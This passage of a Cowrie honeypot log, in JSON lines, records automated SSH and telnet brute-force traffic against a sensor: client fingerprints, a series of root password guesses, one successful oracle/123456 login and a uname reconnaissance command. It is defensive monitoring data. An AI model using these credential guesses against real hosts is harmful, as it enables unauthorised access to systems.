{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:02.976784Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:03.141200Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:04.101184Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:05.344859Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:05.348396Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:05.516111Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:05.521473Z","src_ip":"95.38.165.118","session":"30852bff34da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36204,"dst_ip":"159.203.135.109","dst_port":23,"session":"9110af8020cc","protocol":"telnet","message":"New connection: 69.4.83.194:36204 (159.203.135.109:23) [session: 9110af8020cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:06.402962Z"}
{"eventid":"cowrie.session.closed","duration":33.661785364151,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:07.173865Z","src_ip":"69.4.83.194","session":"31b730165990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a99ae462b0e6","protocol":"ssh","message":"New connection: 95.38.165.118:52276 (10.17.0.5:22) [session: a99ae462b0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:08.085530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:08.090469Z","src_ip":"95.38.165.118","session":"a99ae462b0e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:08.255303Z","src_ip":"95.38.165.118","session":"a99ae462b0e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:08.764492Z","src_ip":"95.38.165.118","session":"a99ae462b0e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.98061180114746,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:09.929404Z","src_ip":"165.22.57.101","session":"8b20172aa3a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:10.477125Z","src_ip":"95.38.165.118","session":"a99ae462b0e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52280,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f22fc1a78e","protocol":"ssh","message":"New connection: 95.38.165.118:52280 (10.17.0.5:22) [session: 88f22fc1a78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:13.222961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:13.227808Z","src_ip":"95.38.165.118","session":"88f22fc1a78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:13.386872Z","src_ip":"95.38.165.118","session":"88f22fc1a78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:13.878326Z","src_ip":"95.38.165.118","session":"88f22fc1a78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:15.078635Z","src_ip":"95.38.165.118","session":"88f22fc1a78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39636,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa3313456a34","protocol":"telnet","message":"New connection: 69.4.83.194:39636 (159.203.135.109:23) [session: aa3313456a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:15.212908Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39578,"dst_ip":"10.17.0.5","dst_port":22,"session":"2567477138b8","protocol":"ssh","message":"New connection: 95.38.165.118:39578 (10.17.0.5:22) [session: 2567477138b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:18.097983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:18.104270Z","src_ip":"95.38.165.118","session":"2567477138b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:18.284460Z","src_ip":"95.38.165.118","session":"2567477138b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39580,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e1dc334b1a","protocol":"ssh","message":"New connection: 95.38.165.118:39580 (10.17.0.5:22) [session: 77e1dc334b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:23.538366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:23.609783Z","src_ip":"95.38.165.118","session":"77e1dc334b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:23.730475Z","src_ip":"95.38.165.118","session":"77e1dc334b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:24.286752Z","src_ip":"95.38.165.118","session":"2567477138b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:24.370081Z","src_ip":"95.38.165.118","session":"77e1dc334b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:25.536597Z","src_ip":"95.38.165.118","session":"77e1dc334b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59508,"dst_ip":"10.17.0.5","dst_port":22,"session":"e052186862c8","protocol":"ssh","message":"New connection: 95.38.165.118:59508 (10.17.0.5:22) [session: e052186862c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:28.615045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:28.620028Z","src_ip":"95.38.165.118","session":"e052186862c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:28.784557Z","src_ip":"95.38.165.118","session":"e052186862c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:29.499068Z","src_ip":"95.38.165.118","session":"e052186862c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45584,"dst_ip":"159.203.135.109","dst_port":23,"session":"9030c5bbd7f5","protocol":"telnet","message":"New connection: 69.4.83.194:45584 (159.203.135.109:23) [session: 9030c5bbd7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:29.771729Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:31.081089Z","src_ip":"95.38.165.118","session":"e052186862c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:31.774485Z","src_ip":"95.38.165.118","session":"2567477138b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59510,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81a231027d4","protocol":"ssh","message":"New connection: 95.38.165.118:59510 (10.17.0.5:22) [session: e81a231027d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:33.675951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:33.681029Z","src_ip":"95.38.165.118","session":"e81a231027d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:34.419484Z","src_ip":"95.38.165.118","session":"e81a231027d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:34.931109Z","src_ip":"95.38.165.118","session":"e81a231027d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:36.101301Z","src_ip":"95.38.165.118","session":"e81a231027d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.241968393325806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:38.644805Z","src_ip":"69.4.83.194","session":"9110af8020cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53998,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d97f1901a0","protocol":"ssh","message":"New connection: 95.38.165.118:53998 (10.17.0.5:22) [session: 81d97f1901a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:39.120362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:39.125785Z","src_ip":"95.38.165.118","session":"81d97f1901a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-